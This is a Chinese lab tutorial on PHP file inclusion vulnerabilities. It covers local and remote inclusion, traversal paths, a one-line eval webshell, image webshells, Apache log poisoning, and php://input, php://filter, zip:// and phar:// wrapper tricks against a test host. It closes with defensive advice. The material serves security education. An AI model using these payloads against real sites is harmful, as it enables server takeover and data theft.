【文件包含漏洞】

article/2025/10/9 21:47:59

目录

一、前言

二、文件包含漏洞原理

三、利用条件

四、文件包含漏洞利用     

         实验一:本地包含和远程包含

实验二:利用文件包含漏洞读取Windows系统敏感信息

实验三:本地包含配合文件上传木马图片

实验四:包含apache日志文件

实验五:php流input

实验六:filter读取文件

实验七:zip实验

实验八:date://

实验九:phar://利用姿势:

五、文件包含漏洞防护总结


一、前言

     把可重复使用函数写入到单个文件中,在使用该函数,直接调用此文件,无需编写函数,这一调用文件的过程被称为包含。文件包含漏洞是一种常见的web类型漏洞,因为很多脚本语言支持使用文件包含,也就是我们所说的文件包含函数,网站开发者经常会把一些代码插入到指定的地方,从而节省之间避免再次编写 ,这就是包含函数的基础解释 ,但是我们不光可以包含我们预先指定的文件,也可以包含我们服务器内部的其他文件,前提条件就是我们需要有可读的权限才能读取这些文件 ,所以这样就会导致文件包含漏洞。

二、文件包含漏洞原理

  文件包含漏洞产生的原因是在通过PHP函数引入文件时,由于传入的文件名没有经过合理的校验,从而操作了预想之外的文件,就可能导致意外的文件泄露甚至恶意的代码注入。几乎所有的脚本语言都会提供文件包含的功能,但文件包含漏洞在PHP Web Application中居多,而在JSP、ASP、ASP.NET程序中却非常少,这是有些语言设计的弊端。在PHP中经常出现文件包含漏洞,但并不意味着其他语言不存在。以php语言为例子:存在include、include_once、require、require_once几个包含函数,他们之间的不同点如下:

include():找不到被包含文件时会产生警告(E_WARNING)。        ---- 会继续执行后面代码。

include_once():与include()类似,代码已经被包含则不会再次包含 。           --只引用一次。

require():找不到被包含的文件时会产生致命错误(E_COMPILE_ERROR)。    --不会继续执行后面代码。

require_once():与require()类似,代码已经被包含则不会再次包含 。             --只引用一次。

三、利用条件

  1. include等函数通过动态执行变量的方式引入需要包含的文件。
  2. 用户能控制该动态变量。
  3. 满足php的语法规则,大部分的后缀名都可解析为php文件。

四、文件包含漏洞利用

 文件包含分为:本地包含漏洞和远程包含漏洞。

利用方法演示如下:

实验一:本地包含和远程包含

1. 修改php.ini文件中的参数如下:

2. 本地包含:

在浏览器中输入:http://192.168.43.45/bh/include.php?page=phpinfo.xxx 包含服务器本地文件:phpinfo.xxx

包含本地上级目录文件:

  在c:/phpStudy/目录下创建123.txt文件,并写入:<?php phpinfo(); ?> ,进行上级目录包含测试,访问:http://192.168.43.45/bh/include.php?page=../../123.txt 结果如下:

3.  远程包含:

  黑客主机:192.168.43.113:已搭建phpstudy环境。

  受害主机:192.168.43.45:网站已搭建文件包含靶场环境。

   黑客主机创建:1.txt文件,写入一句话木马:<?php @eval($_POST[123456]; ?> ; 黑客主机创建2.txt,写入:<?php phpinfo(); ?>  。

访问:http://192.168.43.45/bh/include.php?page=http://192.168.43.113/1.txt

使用蚁剑连接php一句话木马。成功拿到网站的后台。

 

将192.168.43.113网站根目录下的1.txt重命名为1.php,则不能无法使用蚁剑连接成功,原因是:1.php已经被解析了。

远程包含2.txt文件:

实验二:利用文件包含漏洞读取Windows系统敏感信息

1. 浏览器访问一个包含不存在的文件,使其报错出网站的目录。

  

访问包含了敏感文件的URL:

再如访问:C:\Windows\System32\drivers/etc/hosts文件。 

实验三:本地包含配合文件上传木马图片

(受害机自己的文件上传靶场已经搭建好)

1. 将一句话木马和图片结合,形成图片马。

2. 访问受害主机的文件上传靶场

3. 上传图片马:

4. 利用文件包含访问图片马所在的文件路径;(注意我这儿采用的是大马和图片相结合这样直接可以连接后台;也可以采用小马和图片结合的方式生成图片马,结合菜刀或者蚁剑连接)

5. 即可登录webshell:控制网站后台:

但是好像有乱码,估计应该是编码的问题。

6. 小马制作图片马爆出php信息:

 

 

实验四:包含apache日志文件

(phpinfo +一句话木马)

1.  利用apache中的access.log文件会记录访问,来实现对一些敏感信息的爆破。

   文件位置:

先停止PHP study,修改C:\phpStudy\Apache\conf\httpd.conf文件。

然后重启phpstudy。注意每次修改apache文件之前要停止PHP study。

黑客浏览器中输入:包含一句话木马的URL。之后,配合Burpsuite 在客户端和浏览器之间把编码还原。

2. 访问包含了access.log的文件的URL;,让其解析phpinfo()函数。

3. 同理包含一句话木马配合蚁剑实现webshell:

 

成功连接,但是**有乱码。

实验五:php流input

(phpinfo +一句话木马)

1. 访问 http://192.168.43.45/bh/include.php?page=php://input

结果:

结果:

一句话木马:

蚁剑测试:

实验六:filter读取文件

1. 访问:

 http://192.168.43.45/bh/include.php?page=php://filter/read=convert.base64-encode/resource=index.php

2. Base64解密:

实验七:zip实验

创建PHP大马,压缩:

文件上传:

访问绝对路径:

http://192.168.43.45/BH/include.php?page=zip://C:\phpStudy\WWW\upfile\0\upload\2.zip%232.txt (注意是2.txt,%23是#的编码)

 

实验八:date://

实验结果:

  

Base64加密:

 

实验九:phar://利用姿势:

利用之前的2.zip

访问URL: http://192.168.43.45/BH/include.php?page=phar://C:\phpStudy\WWW\upfile\0\upload\2.zip\2.txt 直接弹出下图页面:

五、文件包含漏洞防护总结

1. 严格判断包含中的参数是否外部可控,因为文件包含漏洞利用成功与否的关键点就在于被包含文件是否可以被外部控制。

2. 路径限制:限制被包含的文件只能在某一文件夹内,禁止目录跳转字符,如:“../”。

3. 包含文件验证:验证被包含的文件是否是白名单中的一员。

4. 尽量不要使用动态包含,可以在需要包含的页面固定写好,如:include(“test.php”);。


http://chatgpt.dhexx.cn/article/Kfny1oHc.shtml

相关文章

开源组件漏洞检查工具实践分析

文章目录 Murphysec开源组件漏洞检查工具介绍检测原理JetBrains IDE插件MurphySec Code Scan工具使用介绍支持功能插件安装插件配置一键扫描一键修复功能实践测试命令行工具CLI MurphySec功能特性整理MurphySec Code Scan工具集成JenkinsGitLab 代码库检测工具每周报告推送情报…

文件包含漏洞

【文件包含】文件包含漏洞知识总结 一、什么是文件包含漏洞&#xff1f; 1、文件包含概述 和SQL注入等攻击方式一样&#xff0c;文件包含漏洞也是一种“注入型漏洞”&#xff0c;其本质就是输入一段用户能够控制的脚本或者代码&#xff0c;并让服务器端执行。 什么叫包含呢…

Vector关于Apache Log4Shell CVE-2021-45105,CVE-2021-45046,CVE-2021-44228 的安全漏洞配合与修复全面详解

Apache Log4j2 是一个基于 Java 的日志记录开源组件。近日&#xff0c;Log4j2 被爆出现安全漏洞&#xff0c;攻击者可以通过向易受攻击的服务器或应用程序发送操纵请求来利用安全漏洞。Vector 德国PREEvison产品团队已经通过官网和客户管理系统及时通知客户&#xff0c;有关PRE…

Linux内核漏洞精准检测如何做?SCA工具不能只在软件层面

摘要&#xff1a;二进制SCA工具要想更好的辅助安全人员实现安全审计、降低漏洞检测的误报率&#xff0c;必须向更细颗粒度的检测维度发展&#xff0c;而不仅仅停留在开源软件的层面&#xff0c;同时对漏洞库的要求也需要向细颗粒度的精准信息提出的挑战。 本文分享自华为云社区…

kali linux渗透测试之漏洞扫描

主题内容就是进行漏洞扫描 文章目录 前言一、Nikto1.Nikto漏洞扫描介绍2.Nikto使用 二、Nessus1.Nessus介绍2.安装nessus3.nessus的简单使用3.nessus扫描之advanced scan 三、 skipfish扫描工具1.介绍2.skipfish的使用3.批量处理4.使用字典5.命令选项6.打开文件 四、 AWVS漏洞扫…

【CVE-2022-0185】Linux kernel [文件系统挂载API] 堆溢出漏洞分析与利用

0x00.一切开始之前 CVE-2022-0185 是 2022 年初爆出来的一个位于 filesystem context 系统中的 fsconfig 系统调用中的一个堆溢出漏洞&#xff0c;对于有着 CAP_SYS_ADMIN 权限&#xff08;或是开启了 unprivileged namespace&#xff09;的攻击者而言其可以利用该漏洞完成本地…

Spring 新版本修复远程命令执行漏洞(CVE-2022-22965),墨菲安全开源工具可应急排查

漏洞简述 3月31日&#xff0c;spring 官方通报了 Spring 相关框架存在远程代码执行漏洞&#xff0c;并在 5.3.18 和 5.2.20.RELEASE 中修复了该漏洞。 漏洞评级&#xff1a;严重 影响组件&#xff1a;org.springframework:spring-beans 影响版本&#xff1a;< 5.3.18 和…

❤️❤️爆肝3万字整理小白入门与提升分布式版本管理软件:Git,图文并茂(建议收藏)❤️❤️

小白快速快入门Git 什么是GitSVN VS Git什么是版本控制安装Git谁在操作&#xff1f;Git本地仓库本地仓库构造重点 Git常用基本操作git addgit commitgit diffgit loggit resetgit mvcheckoutgit tagclear Github使用教程什么是Github安装Github添加远程仓库找到key打开Github官…

代码版本管理软件评比

转载的&#xff0c;回头在翻译一下 If you spend time talking to software developers about tools, one of the biggest topics I hear about are version control tools. Once youve got to the point of using version control tools, and any competent developers does,…

Git(代码版本管理软件、工具 详细)

Git 使用步骤 在创建的文件夹里面 。。。 &#xff08;不要用中文名字&#xff09;右键Git Bash Here 小黑框在小黑框里写&#xff1a;git init (意思是初始化一个仓库)&#xff0c;//一个项目一次就可以 会出现一个隐藏的.git文件夹&#xff0c;不要动在里面敲代码就可以了 小…

Git版本管理软件使用

Git是目前世界上最先进的分布式版本控制系统&#xff0c;下面介绍如何使用Git管理项目。 一、下载Window Git工具 https://pan.baidu.com/s/1EF_KybTb32VACzXniFBDdw 下载安装 设置Window环境变量path&#xff0c;包括Git的bin目录 启动CMD窗口&#xff0c;输入git,出现如…

cad图纸版本号管理软件-彩虹EDM图纸管理软件

cad图纸版本号管理软件-彩虹EDM图纸管理软件-由南宁市二零二五科技有限公司 自主研发。 通过安装对应软件接口&#xff0c;彩虹EDM能够与CAD/EDA软件集成通讯&#xff1b;可以读取CAD/EDA图纸信息创建装配关系&#xff0c;在这些软件提供在线菜单&#xff0c;在编辑文件的时候…

03-代码版本管理软件推荐

http://www.gitkraken.com/ GitKraken也同时支持其他的代码托管服务&#xff0c;&#xff08;非GitHub仅有&#xff09;&#xff0c;但是确实并不是所有功能都是完全免费的&#xff08;大家可以搜索GitCracken&#xff0c;但还是希望大家支持正版&#xff09;&#xff1b; 另外…

版本管理软件--Git的安装、配置并使用

版本管理软件分类 集中式&#xff0c;典型代表 SVN 分布式&#xff0c;典型代表 Git 安装 安装git&#xff0c;一直 下一步 安装即可&#xff0c;如果不想安装到C盘&#xff0c;可以把C换成D不要安装到含有中文的路径中。安装完毕&#xff0c;不可以剪切&#xff08;移动&a…

R、冗余分析(RDA)、ggplot2、置信椭圆

R、冗余分析&#xff08;RDA&#xff09;、ggplot2、置信椭圆 在生态环境领域中&#xff08;实际中&#xff0c;其他专业也用到&#xff09;&#xff0c;冗余分析&#xff08;RDA&#xff09;是我们常用的分析方法&#xff0c;分析目的为“解释变量”对“响应变量”的影响情况。…

R语言线性判别分析(LDA),二次判别分析(QDA)和正则判别分析(RDA)

判别分析包括可用于分类和降维的方法。线性判别分析&#xff08;LDA&#xff09;特别受欢迎&#xff0c;因为它既是分类器又是降维技术。二次判别分析&#xff08;QDA&#xff09;是LDA的变体&#xff0c;允许数据的非线性分离。最后&#xff0c;正则化判别分析&#xff08;RDA…

222Beta多样性限制性排序CPCoA/CCA/RDA/LDA

222Beta多样性限制性排序CPCoA/CCA/RDA/LDA 本节作者&#xff1a;文涛&#xff0c;南京农业大学&#xff1b;刘永鑫&#xff0c;中科院遗传发育所 版本1.0.5&#xff0c;更新日期&#xff1a;2020年8月12日 本项目永久地址&#xff1a;https://github.com/YongxinLiu/Microbiom…

R包vegan的冗余分析(RDA)

冗余分析(Redundancy analysis,RDA)是一种回归分析结合主成分分析的排序方法,也是多响应变量(multi-response)回归分析的拓展。在群落分析中常使用RDA,将物种多度的变化分解为与环境变量相关的变差(variation;或称方差,variance,因为RDA中变差=方差;由约束/典范轴承…

RDA_环境因子_群落结构_统计检验_可视化

RDA环境因子群落结构统计检验可视化 环境因子的筛选及数据的转化方面请参阅宏基因组公众号之前的推文&#xff0c;本文主要侧重统计分析与可视化 看到师兄文章里的图自己可能用到&#xff0c;想复现一下&#xff0c;于是就尝试了一下&#xff0c;顺便写个推文记录&#xff0c;在…

使用RDA技术实现数据的自动化分析

有人说&#xff0c;数据是一种新的能源&#xff0c;形成了一种令人垂涎的资源&#xff0c;为企业决策提供动力。虽然&#xff0c;原始形式的数据并没有多大用处。它需要被提取、提炼和加工——其成分通过从源头到炼油厂再到最终消费者&#xff0c;输送到各种产品中。 数据处理的…